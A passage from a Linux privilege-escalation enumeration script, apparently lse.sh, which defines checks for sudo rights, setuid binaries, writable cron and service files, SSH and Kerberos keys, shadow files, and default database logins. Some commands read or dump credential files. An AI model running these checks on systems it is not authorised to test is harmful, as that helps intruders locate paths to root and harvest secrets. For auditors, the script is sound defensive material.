| 685 | #user in an administrative group 686 | lse_test "usr010" "1" \ 687 | "Is current user in an administrative group?" \ 688 | 'grep $lse_grep_opts -E "^(adm|admin|root|sudo|wheel)" /etc/group | grep $lse_grep_opts -E "(:|,)$lse_user"' 689 | 690 | #other users in an administrative group 691 | lse_test "usr020" "1" \ 692 | "Are there other users in administrative groups?" \ 693 | 'grep $lse_grep_opts -E "^(adm|admin|root|sudo|wheel)" /etc/group | grep -Ev ":$|:$lse_user$" | grep $lse_grep_opts -Ei ":[,a-z_-]+\$"' 694 | 695 | #other users with shell 696 | lse_test "usr030" "1" \ 697 | "Other users with shell" \ 698 | 'grep $lse_grep_opts -E ":/[a-z/]+sh\$" /etc/passwd' \ 699 | "" \ 700 | "lse_shell_users" 701 | 702 | #user env information 703 | lse_test "usr040" "2" \ 704 | "Environment information" \ 705 | 'env | grep -v "LS_COLORS"' 706 | 707 | #dump user groups 708 | lse_test "usr050" "2" \ 709 | "Groups for other users" \ 710 | 'cat /etc/group' 711 | 712 | #dump users 713 | lse_test "usr060" "2" \ 714 | "Other users" \ 715 | 'cat /etc/passwd' 716 | 717 | #find defined PATHs 718 | lse_test "usr070" "1" \ 719 | "PATH variables defined inside /etc" \ 720 | 'for p in `grep -ERh "^ *PATH=.*" /etc/ 2> /dev/null | tr -d \"\'"'"' | cut -d= -f2 | tr ":" "\n" | sort -u`; do [ -d "$p" ] && echo "$p";done' \ 721 | "" \ 722 | "lse_exec_paths" 723 | 724 | #check if . is in PATHs 725 | lse_test "usr080" "0" \ 726 | "Is '.' in a PATH variable defined inside /etc?" \ 727 | 'for ep in $lse_exec_paths; do [ "$ep" = "." ] && grep -ER "^ *PATH=.*" /etc/ 2> /dev/null | tr -d \"\'"'"' | grep -E "[=:]\.([:[:space:]]|\$)";done' \ 728 | "usr070" 729 | } 730 | #) 731 | 732 | #########################################################################( sudo 733 | lse_run_tests_sudo() { 734 | lse_header "sud" "sudo" 735 | 736 | #variables for sudo checks 737 | lse_sudo=false 738 | lse_sudo_commands="" 739 | 740 | #can we sudo without supplying a password 741 | lse_test "sud000" "0" \ 742 | "Can we sudo without a password?" \ 743 | 'echo "" | sudo -nS id' && lse_sudo=true 744 | 745 | #can we list sudo commands without supplying a password 746 | $lse_sudo || \ 747 | lse_test "sud010" "0" \ 748 | "Can we list sudo commands without a password?" \ 749 | 'echo "" | sudo -nS -l' \ 750 | "" \ 751 | "lse_sudo_commands" 752 | 753 | if [ "$lse_pass" ]; then 754 | #can we sudo supplying a password 755 | $lse_sudo || \ 756 | lse_test "sud020" "0" \ 757 | "Can we sudo with a password?" \ 758 | 'echo "$lse_pass" | sudo -S id' && lse_sudo=true 759 | 760 | #can we list sudo commands without supplying a password 761 | if ! $lse_sudo && [ -z "$lse_sudo_commands" ]; then 762 | lse_test "sud030" "0" \ 763 | "Can we list sudo commands with a password?" \ 764 | 'echo "$lse_pass" | sudo -S -l' \ 765 | "" \ 766 | "lse_sudo_commands" 767 | fi 768 | fi 769 | 770 | #check if we can read the sudoers file 771 | lse_test "sud040" "1" \ 772 | "Can we read sudoers files?" \ 773 | 'grep -R "" /etc/sudoers*' 774 | 775 | #check users that sudoed in the past 776 | lse_test "sud050" "1" \ 777 | "Do we know if any other users used sudo?" \ 778 | 'for uh in $(cut -d: -f1,6 /etc/passwd); do [ -f "${uh##*:}/.sudo_as_admin_successful" ] && echo "${uh%%:*}"; done' 779 | } 780 | #) 781 | 782 | ##################################################################( file system 783 | lse_run_tests_filesystem() { 784 | lse_header "fst" "file system" 785 | 786 | #writable files outside user's home. NOTE: Does not check if user can write in symlink destination (performance reasons: -L implies -noleaf) 787 | lse_test "fst000" "1" \ 788 | "Writable files outside user's home" \ 789 | 'find / -path "$lse_home" -prune -o $lse_find_opts -not -type l -writable -print; 790 | # Add symlinks owned by the user (so the user can change where they point) 791 | find / -path "$lse_home" -prune -o $lse_find_opts -type l -user $lse_user -print' \ 792 | "" \ 793 | "lse_user_writable" \ 794 | "rootskip" 795 | 796 | #get setuid binaries 797 | lse_test "fst010" "1" \ 798 | "Binaries with setuid bit" \ 799 | 'find / $lse_find_opts -perm -4000 -type f -print' \ 800 | "" \ 801 | "lse_setuid_binaries" 802 | 803 | #uncommon setuid binaries 804 | lse_test "fst020" "0" \ 805 | "Uncommon setuid binaries" \ 806 | 'local setuidbin="$lse_setuid_binaries"; local IFS=" 807 | "; for cs in ${lse_common_setuid}; do setuidbin=`printf "$setuidbin\n" | grep -Ev "^$cs$"`;done ; printf "$setuidbin\n"' \ 808 | "fst010" 809 | 810 | #can we write to any setuid binary 811 | lse_test "fst030" "0" \ 812 | "Can we write to any setuid binary?" \ 813 | 'for b in $lse_setuid_binaries; do [ -x "$b" ] && [ -w "$b" ] && echo "$b" ;done' \ 814 | "fst010" 815 | 816 | #get setgid binaries 817 | lse_test "fst040" "1" \ 818 | "Binaries with setgid bit" \ 819 | 'find / $lse_find_opts -perm -2000 -type f -print' \ 820 | "lse_setgid_binaries" 821 | 822 | #uncommon setgid binaries 823 | lse_test "fst050" "0" \ 824 | "Uncommon setgid binaries" \ 825 | 'printf "$lse_setgid_binaries\n" | grep -Ev "^/(bin|sbin|usr/bin|usr/lib|usr/sbin)"' \ 826 | "fst040" 827 | 828 | #can we write to any setgid binary 829 | lse_test "fst060" "0" \ 830 | "Can we write to any setgid binary?" \ 831 | 'for b in $lse_setgid_binaries; do [ -x "$b" ] && [ -w "$b" ] && echo "$b" ;done' \ 832 | "fst040" 833 | 834 | #can we read /root 835 | lse_test "fst070" "1" \ 836 | "Can we read /root?" \ 837 | 'ls -ahl /root/' 838 | 839 | #check /home permissions 840 | lse_test "fst080" "1" \ 841 | "Can we read subdirectories under /home?" \ 842 | 'for h in /home/*; do [ -d "$h" ] && [ "$h" != "$lse_home" ] && ls -la "$h/"; done' 843 | 844 | #check for SSH files in home directories 845 | lse_test "fst090" "1" \ 846 | "SSH files in home directories" \ 847 | 'for h in $(cut -d: -f6 /etc/passwd | sort -u | grep -Ev "^(/|/dev|/bin|/proc|/run/.*|/var/run/.*)$"); do find "$h" \( -name "*id_dsa*" -o -name "*id_rsa*" -o -name "*id_ecdsa*" -o -name "*id_ed25519*" -o -name "known_hosts" -o -name "authorized_hosts" -o -name "authorized_keys" \) -exec ls -la {} \; ; done' 848 | 849 | #check useful binaries 850 | lse_test "fst100" "1" \ 851 | "Useful binaries" \ 852 | 'which curl; which dig; which gcc; which nc.openbsd; which nc; which netcat; which nmap; which socat; which wget' 853 | 854 | #check for interesting files in home directories 855 | lse_test "fst110" "1" \ 856 | "Other interesting files in home directories" \ 857 | 'for h in $(cut -d: -f6 /etc/passwd); do find "$h" \( -name "*.rhosts" -o -name ".git-credentials" -o -name ".*history" \) -maxdepth 1 -exec ls -la {} \; ;' 858 | 859 | #looking for credentials in /etc/fstab and /etc/mtab 860 | lse_test "fst120" "0" \ 861 | "Are there any credentials in fstab/mtab?" \ 862 | 'grep $lse_grep_opts -Ei "(user|username|login|pass|password|pw|credentials|cred)[=:]" /etc/fstab /etc/mtab' 863 | 864 | #check if current user has mail 865 | lse_test "fst130" "1" \ 866 | "Does '$lse_user' have mail?" \ 867 | 'ls -l "/var/mail/$lse_user"' 868 | 869 | #check if we can access other users mail mail 870 | lse_test "fst140" "0" \ 871 | "Can we access other users mail?" \ 872 | 'for f in /var/mail/*; do [ "$f" != "/var/mail/$lse_user" ] && [ -r "$f" ] && echo "$f"; done' 873 | 874 | #check for code repositories 875 | lse_test "fst150" "1" \ 876 | "Looking for GIT/SVN repositories" \ 877 | 'find / $lse_find_opts \( -name ".git" -o -name ".svn" \) -print' 878 | 879 | #can we write to files that can give us root 880 | lse_test "fst160" "0" \ 881 | "Can we write to critical files?" \ 882 | 'for uw in $lse_user_writable; do [ -f "$uw" ] && IFS=" 883 | "; for cw in ${lse_critical_writable}; do [ "$cw" = "$uw" ] && [ -w "$cw" ] && ls -l $cw; done ; done' \ 884 | "fst000" 885 | 886 | #can we write to directories that can give us root 887 | lse_test "fst170" "0" \ 888 | "Can we write to critical directories?" \ 889 | 'for uw in $lse_user_writable; do [ -d "$uw" ] && IFS=" 890 | "; for cw in ${lse_critical_writable_dirs}; do [ "$cw" = "$uw" ] && [ -w "$cw" ] && ls -ld $cw; done ; done' \ 891 | "fst000" 892 | 893 | #can we write to directories inside PATHS 894 | lse_test "fst180" "0" \ 895 | "Can we write to directories from PATH defined in /etc?" \ 896 | 'for ep in $lse_exec_paths; do [ -d "$ep" ] && [ -w "$ep" ] && ls -ld "$ep"; done' \ 897 | "usr070" 898 | 899 | #can we read backups 900 | lse_test "fst190" "0" \ 901 | "Can we read any backup?" \ 902 | 'find / $lse_find_opts -path /usr/lib -prune -o -path /usr/share -prune -o -regextype egrep -iregex ".*(backup|dump|cop(y|ies)|bak|bkp)[^/]*\.(sql|tgz|tar|zip)?\.?(gz|xz|bzip2|bz2|lz|7z)?" -readable -type f -exec ls -al {} \;' 903 | 904 | #are there possible credentials in any shell history files 905 | lse_test "fst200" "0" \ 906 | "Are there possible credentials in any shell history file?" \ 907 | 'for h in .bash_history .history .histfile .zhistory; do [ -f "$lse_home/$h" ] && grep $lse_grep_opts -Ei "(user|username|login|pass|password|pw|credentials)[=: ][a-z0-9]+" "$lse_home/$h" | grep -v "systemctl"; done' 908 | 909 | #nfs exports with no_root_squash 910 | lse_test "fst210" "0" \ 911 | "Are there NFS exports with 'no_root_squash' option?" \ 912 | 'grep $lse_grep_opts "no_root_squash" /etc/exports' 913 | 914 | #nfs exports with no_all_squash 915 | lse_test "fst220" "1" \ 916 | "Are there NFS exports with 'no_all_squash' option?" \ 917 | 'grep $lse_grep_opts "no_all_squash" /etc/exports' 918 | 919 | #files owned by user 920 | lse_test "fst500" "2" \ 921 | "Files owned by user '$lse_user'" \ 922 | 'find / $lse_find_opts -user $lse_user -type f -exec ls -al {} \;' \ 923 | "" "" "rootskip" 924 | 925 | #check for SSH files anywhere 926 | lse_test "fst510" "2" \ 927 | "SSH files anywhere" \ 928 | 'find / $lse_find_opts \( -name "*id_dsa*" -o -name "*id_rsa*" -o -name "*id_ecdsa*" -o -name "*id_ed25519*" -o -name "known_hosts" -o -name "authorized_hosts" -o -name "authorized_keys" \) -exec ls -la {} \;' 929 | 930 | #dump hosts.equiv file 931 | lse_test "fst520" "2" \ 932 | "Check hosts.equiv file and its contents" \ 933 | 'find /etc -iname hosts.equiv -exec ls -la {} 2>/dev/null \; -exec cat {} \;' 934 | 935 | #list nfs shares 936 | lse_test "fst530" "2" \ 937 | "List NFS server shares" \ 938 | 'ls -la /etc/exports 2>/dev/null && cat /etc/exports' 939 | 940 | #dump fstab 941 | lse_test "fst540" "2" \ 942 | "Dump fstab file" \ 943 | 'cat /etc/fstab' 944 | } 945 | #) 946 | 947 | #######################################################################( system 948 | lse_run_tests_system() { 949 | lse_header "sys" "system" 950 | 951 | #who is logged in 952 | lse_test "sys000" "2" \ 953 | "Who is logged in" \ 954 | 'w' 955 | 956 | #last logged in users 957 | lse_test "sys010" "2" \ 958 | "Last logged in users" \ 959 | 'last' 960 | 961 | #check if /etc/passwd has the hashes (old system) 962 | lse_test "sys020" "0" \ 963 | "Does the /etc/passwd have hashes?" \ 964 | 'grep -v "^[^:]*:[x]" /etc/passwd' 965 | 966 | #check if /etc/group has group password hashes (old system) 967 | lse_test "sys022" "0" \ 968 | "Does the /etc/group have hashes?" \ 969 | 'grep -v "^[^:]*:[x]" /etc/group' 970 | 971 | #check if we can read any shadow file 972 | lse_test "sys030" "0" \ 973 | "Can we read shadow files?" \ 974 | 'for sf in "shadow" "shadow-" "shadow~" "gshadow" "gshadow-" "master.passwd"; do [ -r "/etc/$sf" ] && printf "%s\n---\n" "/etc/$sf" && cat "/etc/$sf" && printf "\n\n";done' 975 | 976 | #check for superuser accounts 977 | lse_test "sys040" "1" \ 978 | "Check for other superuser accounts" \ 979 | 'for u in $(cut -d: -f1 /etc/passwd); do [ $(id -u $u) = 0 ] && echo $u; done | grep -v root' 980 | 981 | #can root log in via SSH 982 | lse_test "sys050" "1" \ 983 | "Can root user log in via SSH?" \ 984 | 'grep -E "^[[:space:]]*PermitRootLogin " /etc/ssh/sshd_config | grep -E "(yes|without-password|prohibit-password)"' 985 | 986 | #list available shells 987 | lse_test "sys060" "2" \ 988 | "List available shells" \ 989 | 'cat /etc/shells' 990 | 991 | #system umask 992 | lse_test "sys070" "2" \ 993 | "System umask in /etc/login.defs" \ 994 | 'grep "^UMASK" /etc/login.defs' 995 | 996 | #system password policies 997 | lse_test "sys080" "2" \ 998 | "System password policies in /etc/login.defs" \ 999 | 'grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/login.defs' 1000 | } 1001 | #) 1002 | 1003 | #####################################################################( security 1004 | lse_run_tests_security() { 1005 | lse_header "sec" "security" 1006 | 1007 | #check if selinux is present 1008 | lse_test "sec000" "1" \ 1009 | "Is SELinux present?" \ 1010 | 'sestatus' 1011 | 1012 | #get all binaries with capabilities 1013 | lse_test "sec010" "1" \ 1014 | "List files with capabilities" \ 1015 | 'getcap -r /' \ 1016 | "" \ 1017 | "lse_cap_bin" 1018 | 1019 | #check if we can write an a binary with capabilities 1020 | lse_test "sec020" "0" \ 1021 | "Can we write to a binary with caps?" \ 1022 | 'for b in $(printf "$lse_cap_bin\n" | cut -d" " -f1); do [ -w "$b" ] && echo "$b"; done' 1023 | 1024 | #check if we have all capabilities in any binary 1025 | lse_test "sec030" "0" \ 1026 | "Do we have all caps in any binary?" \ 1027 | 'printf "$lse_cap_bin\n" | grep -v "cap_"' 1028 | 1029 | #search /etc/security/capability.conf for users associated capapilies 1030 | lse_test "sec040" "1" \ 1031 | "Users with associated capabilities" \ 1032 | 'grep -v "^#\|none\|^$" /etc/security/capability.conf' \ 1033 | "" \ 1034 | "lse_user_caps" 1035 | 1036 | #does user have capabilities 1037 | lse_test "sec050" "0" \ 1038 | "Does current user have capabilities?" \ 1039 | 'printf "$lse_user_caps\n" | grep "$lse_user"' \ 1040 | "sec040" 1041 | 1042 | #can user read the auditd log 1043 | lse_test "sec060" "0" \ 1044 | "Can we read the auditd log?" \ 1045 | 'al=/var/log/audit/audit.log; test -r "$al" && echo "tail $al:" && echo && tail "$al"' 1046 | } 1047 | #) 1048 | 1049 | ##############################################################( recurrent tasks 1050 | lse_run_tests_recurrent_tasks() { 1051 | lse_header "ret" "recurrent tasks" 1052 | 1053 | ## CRON 1054 | #user crontab 1055 | lse_test "ret000" "1" \ 1056 | "User crontab" \ 1057 | 'crontab -l | grep -Ev "^#"' 1058 | 1059 | #cron tasks writable by user 1060 | lse_test "ret010" "0" \ 1061 | "Cron tasks writable by user" \ 1062 | 'find -L /etc/cron* /etc/anacron /var/spool/cron -writable' 1063 | 1064 | #list cron jobs 1065 | lse_test "ret020" "1" \ 1066 | "Cron jobs" \ 1067 | 'grep -ERv "^(#|$)" /etc/crontab /etc/cron.d/ /etc/anacrontab' 1068 | 1069 | #can we read other user crontabs? 1070 | lse_test "ret030" "1" \ 1071 | "Can we read user crontabs" \ 1072 | 'ls -la /var/spool/cron/crontabs/*' 1073 | 1074 | #can we list other user cron tasks? (you need privileges for this, so if you can something is fishy) 1075 | lse_test "ret040" "1" \ 1076 | "Can we list other user cron tasks?" \ 1077 | 'for u in $(cut -d: -f 1 /etc/passwd); do [ "$u" != "$lse_user" ] && crontab -l -u "$u"; done' 1078 | 1079 | #can we write to any paths present in cron tasks? 1080 | lse_test "ret050" "1" \ 1081 | "Can we write to any paths present in cron jobs" \ 1082 | 'for p in `grep --color=never -hERoi "/[a-z0-9_/\.\-]+" /etc/cron* | grep -Ev "/dev/(null|zero|random|urandom)" | sort -u`; do [ -w "$p" ] && echo "$p"; done' \ 1083 | "" \ 1084 | "lse_user_writable_cron_paths" 1085 | 1086 | #can we write to executable paths present in cron tasks? 1087 | lse_test "ret060" "0" \ 1088 | "Can we write to executable paths present in cron jobs" \ 1089 | 'for uwcp in $lse_user_writable_cron_paths; do [ -w "$uwcp" ] && [ -x "$uwcp" ] && grep $lse_grep_opts -R "$uwcp" /etc/crontab /etc/cron.d/ /etc/anacrontab ; done' \ 1090 | "ret050" 1091 | 1092 | #list cron files 1093 | lse_test "ret400" "2" \ 1094 | "Cron files" \ 1095 | 'ls -la /etc/cron*' 1096 | 1097 | 1098 | ## Systemd Timers 1099 | #user timers 1100 | lse_test "ret500" "1" \ 1101 | "User systemd timers" \ 1102 | 'systemctl --user list-timers --all | grep -iq "\.timer" && systemctl --user list-timers --all' 1103 | 1104 | #can we write in any system timer? 1105 | lse_test "ret510" "0" \ 1106 | "Can we write in any system timer?" \ 1107 | 'printf "$lse_user_writable\n" | grep -E "\.timer$"' \ 1108 | "fst000" 1109 | 1110 | #system timers 1111 | lse_test "ret900" "2" \ 1112 | "Systemd timers" \ 1113 | 'systemctl list-timers --all' 1114 | } 1115 | #) 1116 | 1117 | ######################################################################( network 1118 | lse_run_tests_network() { 1119 | lse_header "net" "network" 1120 | 1121 | #services listening only on localhost 1122 | lse_test "net000" "1" \ 1123 | "Services listening only on localhost" \ 1124 | '(ss -tunlp || netstat -tunlp)2>/dev/null | grep "127.0.0.1:"' 1125 | 1126 | #can we execute tcpdump 1127 | lse_test "net010" "0" \ 1128 | "Can we sniff traffic with tcpdump?" \ 1129 | '(tcpdump -i lo -n 2>&1 & pid=$!;sleep 0.2;kill $pid)2>/dev/null | grep -i "listening on lo"' 1130 | 1131 | #nic information 1132 | lse_test "net500" "2" \ 1133 | "NIC and IP information" \ 1134 | 'ifconfig -a || ip a' 1135 | 1136 | #routing table 1137 | lse_test "net510" "2" \ 1138 | "Routing table" \ 1139 | 'route -n || ip r' 1140 | 1141 | #arp table 1142 | lse_test "net520" "2" \ 1143 | "ARP table" \ 1144 | 'arp -an || ip n' 1145 | 1146 | #nameservers 1147 | lse_test "net530" "2" \ 1148 | "Nameservers" \ 1149 | 'grep "nameserver" /etc/resolv.conf' 1150 | 1151 | #systemd nameservers 1152 | lse_test "net540" "2" \ 1153 | "Systemd Nameservers" \ 1154 | 'systemd-resolve --status || systemd-resolve --user --status' 1155 | 1156 | #listening TCP 1157 | lse_test "net550" "2" \ 1158 | "Listening TCP" \ 1159 | 'netstat -tnlp || ss -tnlp' 1160 | 1161 | #listening UDP 1162 | lse_test "net560" "2" \ 1163 | "Listening UDP" \ 1164 | 'netstat -unlp || ss -unlp' 1165 | } 1166 | #) 1167 | 1168 | #####################################################################( services 1169 | lse_run_tests_services() { 1170 | lse_header "srv" "services" 1171 | 1172 | ## System-V 1173 | #check write permissions in init.d/* inetd.conf xinetd.conf 1174 | lse_test "srv000" "0" \ 1175 | "Can we write in service files?" \ 1176 | 'printf "$lse_user_writable\n" | grep -E "^/etc/(init/|init\.d/|rc\.d/|rc[0-9S]\.d/|rc\.local|inetd\.conf|xinetd\.conf|xinetd\.d/)"' \ 1177 | "fst000" 1178 | 1179 | #check write permissions for binaries involved in services 1180 | lse_test "srv010" "0" \ 1181 | "Can we write in binaries executed by services?" \ 1182 | 'for b in $(grep -ERvh "^#" /etc/inetd.conf /etc/xinetd.conf /etc/xinetd.d/ /etc/init.d/ /etc/rc* 2>/dev/null | tr -s "[[:space:]]" "\n" | grep -E "^/" | grep -Ev "^/(dev|run|sys|proc|tmp)/" | sort -u); do [ -x "$b" ] && [ -w "$b" ] && echo "$b" done' 1183 | 1184 | #init.d files NOT belonging to root 1185 | lse_test "srv020" "1" \ 1186 | "Files in /etc/init.d/ not belonging to root" \ 1187 | 'find /etc/init.d/ \! -uid 0 -type f | xargs -r ls -la' 1188 | 1189 | #rc.d/init.d files NOT belonging to root! 1190 | lse_test "srv030" "1" \ 1191 | "Files in /etc/rc.d/init.d not belonging to root" \ 1192 | 'find /etc/rc.d/init.d \! -uid 0 -type f | xargs -r ls -la' 1193 | 1194 | # upstart scripts not belonging to root 1195 | lse_test "srv040" "1" \ 1196 | "Upstart files not belonging to root" \ 1197 | 'find /etc/init \! -uid 0 -type f | xargs -r ls -la' 1198 | 1199 | #/usr/local/etc/rc.d files NOT belonging to root! 1200 | lse_test "srv050" "1" \ 1201 | "Files in /usr/local/etc/rc.d not belonging to root" \ 1202 | 'find /usr/local/etc/rc.d \! -uid 0 -type f | xargs -r ls -la' 1203 | 1204 | #contents of inetd.conf 1205 | lse_test "srv400" "2" \ 1206 | "Contents of /etc/inetd.conf" \ 1207 | 'cat /etc/inetd.conf' 1208 | 1209 | #xinetd info 1210 | lse_test "srv410" "2" \ 1211 | "Contents of /etc/xinetd.conf" \ 1212 | 'cat /etc/xinetd.conf' 1213 | 1214 | #check xinetd.d and permissions 1215 | lse_test "srv420" "2" \ 1216 | "List /etc/xinetd.d if used" \ 1217 | 'grep "/etc/xinetd.d" /etc/xinetd.conf ; ls -la /etc/xinetd.d' 1218 | 1219 | #permissions of init.d scripts 1220 | lse_test "srv430" "2" \ 1221 | "List /etc/init.d/ permissions" \ 1222 | 'ls -la /etc/init.d' 1223 | 1224 | #rc.d/init.d permissions 1225 | lse_test "srv440" "2" \ 1226 | "List /etc/rc.d/init.d permissions" \ 1227 | 'ls -la /etc/rc.d/init.d' 1228 | 1229 | #usr/rc.d permissions 1230 | lse_test "srv450" "2" \ 1231 | "List /usr/local/etc/rc.d permissions" \ 1232 | 'ls -la /usr/local/etc/rc.d' 1233 | 1234 | # init permissions 1235 | lse_test "srv460" "2" \ 1236 | "List /etc/init/ permissions" \ 1237 | 'ls -la /etc/init/' 1238 | 1239 | ## Systemd 1240 | #check write permissions in systemd services 1241 | lse_test "srv500" "0" \ 1242 | "Can we write in systemd service files?" \ 1243 | 'printf "$lse_user_writable\n" | grep -E "^/(etc/systemd/|lib/systemd/).+\.service$"' \ 1244 | "fst000" 1245 | 1246 | #check write permissions for binaries involved in systemd services 1247 | lse_test "srv510" "0" \ 1248 | "Can we write in binaries executed by systemd services?" \ 1249 | 'for b in $(grep -ERh "^Exec" /etc/systemd/ /lib/systemd/ 2>/dev/null | tr "=" "\n" | tr -s "[[:space:]]" "\n" | grep -E "^/" | grep -Ev "^/(dev|run|sys|proc|tmp)/" | sort -u); do [ -x "$b" ] && [ -w "$b" ] && echo "$b" done' 1250 | 1251 | # systemd files not belonging to root 1252 | lse_test "srv520" "1" \ 1253 | "Systemd files not belonging to root" \ 1254 | 'find /lib/systemd/ /etc/systemd \! -uid 0 -type f | xargs -r ls -la' 1255 | 1256 | # systemd permissions 1257 | lse_test "srv900" "2" \ 1258 | "Systemd config files permissions" \ 1259 | 'ls -lthR /lib/systemd/ /etc/systemd/' 1260 | } 1261 | #) 1262 | 1263 | #####################################################################( software 1264 | lse_run_tests_software() { 1265 | lse_header "sof" "software" 1266 | 1267 | #checks to see if root/root will get us a connection 1268 | lse_test "sof000" "0" \ 1269 | "Can we connect to MySQL with root/root credentials?" \ 1270 | 'mysqladmin -uroot -proot version' 1271 | 1272 | #checks to see if we can connect as root without password 1273 | lse_test "sof010" "0" \ 1274 | "Can we connect to MySQL as root without password?" \ 1275 | 'mysqladmin -uroot version' 1276 | 1277 | #check if there are credentials stored in .mysql-history 1278 | lse_test "sof015" "0" \ 1279 | "Are there credentials in mysql_history file?" \ 1280 | 'grep -Ei "(pass|identified by|md5\()" "$lse_home/.mysql_history"' 1281 | 1282 | #checks to see if we can connect to postgres templates without password 1283 | lse_test "sof020" "0" \ 1284 | "Can we connect to PostgreSQL template0 as postgres and no pass?" \ 1285 | 'psql -U postgres template0 -c "select version()" | grep version' 1286 | lse_test "sof020" "0" \ 1287 | "Can we connect to PostgreSQL template1 as postgres and no pass?" \ 1288 | 'psql -U postgres template1 -c "select version()" | grep version' 1289 | lse_test "sof020" "0" \ 1290 | "Can we connect to PostgreSQL template0 as psql and no pass?" \ 1291 | 'psql -U pgsql template0 -c "select version()" | grep version' 1292 | lse_test "sof020" "0" \ 1293 | "Can we connect to PostgreSQL template1 as psql and no pass?" \ 1294 | 'psql -U pgsql template1 -c "select version()" | grep version' 1295 | 1296 | #installed apache modules 1297 | lse_test "sof030" "1" \ 1298 | "Installed apache modules" \ 1299 | 'apache2ctl -M; httpd -M' 1300 | 1301 | #find htpassword files 1302 | lse_test "sof040" "0" \ 1303 | "Found any .htpasswd files?" \ 1304 | 'find / $lse_find_opts -name "*.htpasswd" -print -exec cat {} \;' 1305 | 1306 | #check if there are ssh private keys in ssh-agent 1307 | lse_test "sof050" "0" \ 1308 | "Are there private keys in ssh-agent?" \ 1309 | 'ssh-add -l | grep -iv "agent has no identities"' 1310 | 1311 | #check if there are gpg keys in gpg-agent 1312 | lse_test "sof060" "0" \ 1313 | "Are there gpg keys cached in gpg-agent?" \ 1314 | 'gpg-connect-agent "keyinfo --list" /bye | grep "D - - 1"' 1315 | 1316 | #check if there is a writable ssh-agent socket 1317 | lse_test "sof070" "0" \ 1318 | "Can we write to a ssh-agent socket?" \ 1319 | 'for f in $lse_user_writable; do test -S "$f" && printf "$f" | grep -Ea "ssh-[A-Za-z0-9]+/agent\.[0-9]+"; done' \ 1320 | "fst000" 1321 | 1322 | #check if there is a writable gpg-agent socket 1323 | lse_test "sof080" "0" \ 1324 | "Can we write to a gpg-agent socket?" \ 1325 | 'for f in $lse_user_writable; do test -S "$f" && printf "$f" | grep -a "gpg-agent"; done' \ 1326 | "fst000" 1327 | 1328 | #find keepass database files 1329 | lse_test "sof090" "0" \ 1330 | "Found any keepass database files?" \ 1331 | 'find / $lse_find_opts -regextype egrep -iregex ".*\.kdbx?" -readable -type f -print' 1332 | 1333 | #find pass database files 1334 | lse_test "sof100" "0" \ 1335 | "Found any 'pass' store directories?" \ 1336 | 'find / $lse_find_opts -name ".password-store" -readable -type d -print' 1337 | 1338 | #check if any tmux session is active 1339 | lse_test "sof110" "0" \ 1340 | "Are there any tmux sessions available?" \ 1341 | 'tmux list-sessions' 1342 | 1343 | #check for all tmux sessions for other users 1344 | lse_test "sof120" "1" \ 1345 | "Are there any tmux sessions from other users?" \ 1346 | 'find /tmp -type d -regex "/tmp/tmux-[0-9]+" ! -user $lse_user' 1347 | 1348 | #check if we have write access to other users tmux sessions 1349 | lse_test "sof130" "0" \ 1350 | "Can we write to tmux session sockets from other users?" \ 1351 | 'find /tmp -writable -type s -regex "/tmp/tmux-[0-9]+/.+" ! -user $lse_user -exec ls -l {} +' 1352 | 1353 | #check if there is any active screen session 1354 | lse_test "sof140" "0" \ 1355 | "Are any screen sessions available?" \ 1356 | 'screen -ls >/dev/null && screen -ls' 1357 | 1358 | #find other users screen sessions 1359 | lse_test "sof150" "1" \ 1360 | "Are there any screen sessions from other users?" \ 1361 | 'find /run/screen -type d -regex "/run/screen/S-.+" ! -user $lse_user' 1362 | 1363 | #find writable screen session sockets from other users 1364 | lse_test "sof160" "0" \ 1365 | "Can we write to screen session sockets from other users?" \ 1366 | 'find /run/screen -type s -writable -regex "/run/screen/S-.+/.+" ! -user $lse_user -exec ls -l {} +' 1367 | 1368 | #check connection to mongoDB 1369 | lse_test "sof170" "1" \ 1370 | "Can we access MongoDB databases without credentials?" \ 1371 | 'echo "show dbs" | mongo --quiet | grep -E "(admin|config|local)"' 1372 | 1373 | #find kerberos credentials 1374 | lse_test "sof180" "0" \ 1375 | "Can we access any Kerberos credentials?" \ 1376 | 'find / $lse_find_opts -name "*.so" -prune -o \( -name "krb5cc*" -o -name "*.ccache" -o -name "*.kirbi" -o -name "*.keytab" \) -type f -readable -exec ls -lh {} +' 1377 | 1378 | #sudo version - check to see if there are any known vulnerabilities with this 1379 | lse_test "sof500" "2" \ 1380 | "Sudo version" \ 1381 | 'sudo -V | grep "Sudo version"' 1382 | 1383 | #mysql details - if installed 1384 | lse_test "sof510" "2" \ 1385 | "MySQL version" \ 1386 | 'mysql --version' 1387 | 1388 | #postgres details - if installed 1389 | lse_test "sof520" "2" \ 1390 | "Postgres version" \ 1391 | 'psql -V' 1392 | 1393 | #apache details - if installed 1394 | lse_test "sof530" "2" \ 1395 | "Apache version" \ 1396 | 'apache2 -v; httpd -v' 1397 | 1398 | #check tmux version 1399 | lse_test "sof540" "2" \ 1400 | "Tmux version" \ 1401 | 'tmux -V' 1402 | 1403 | #check screen version 1404 | lse_test "sof550" "2" \ 1405 | "Screen version" \ 1406 | 'screen -v' 1407 | 1408 | } 1409 | #) 1410 | 1411 | ###################################################################( containers 1412 | lse_run_tests_containers() { 1413 | lse_header "ctn" "containers" 1414 | 1415 | #check to see if we are in a docker container 1416 | lse_test "ctn000" "1" \ 1417 | "Are we in a docker container?" \ 1418 | 'grep -i docker /proc/self/cgroup; find / $lse_find_opts -name "*dockerenv*" -exec ls -la {} \;' 1419 | 1420 | #check to see if current host is running docker services 1421 | lse_test "ctn010" "1" \ 1422 | "Is docker available?" \ 1423 | 'docker --version; docker ps -a; docker images' 1424 | 1425 | #is user a member of the docker group 1426 | lse_test "ctn020" "0" \ 1427 | "Is the user a member of the 'docker' group?" \ 1428 | 'groups | grep -o docker' 1429 | 1430 | #check to see if we are in an lxc container 1431 | lse_test "ctn200" "1" \ 1432 | "Are we in a lxc container?" \ 1433 | 'grep -a container=lxc /proc/1/environ | tr -d "\0"' 1434 | 1435 | #is user a member of any lxd/lxc group 1436 | lse_test "ctn210" "0" \ 1437 | "Is the user a member of any lxc/lxd group?" \ 1438 | 'groups | grep $lse_grep_opts "lxc\|lxd"' 1439 | } 1440 | #) 1441 | 1442 | ####################################################################( processes 1443 | lse_run_tests_processes() { 1444 | lse_header "pro" "processes" 1445 | 1446 | #wait for the process monitor to finish gathering data 1447 | lse_test "pro000" "2" \ 1448 | "Waiting for the process monitor to finish" \ 1449 | 'while [ ! -s "$lse_procmon_data" ]; do sleep 1; done; cat 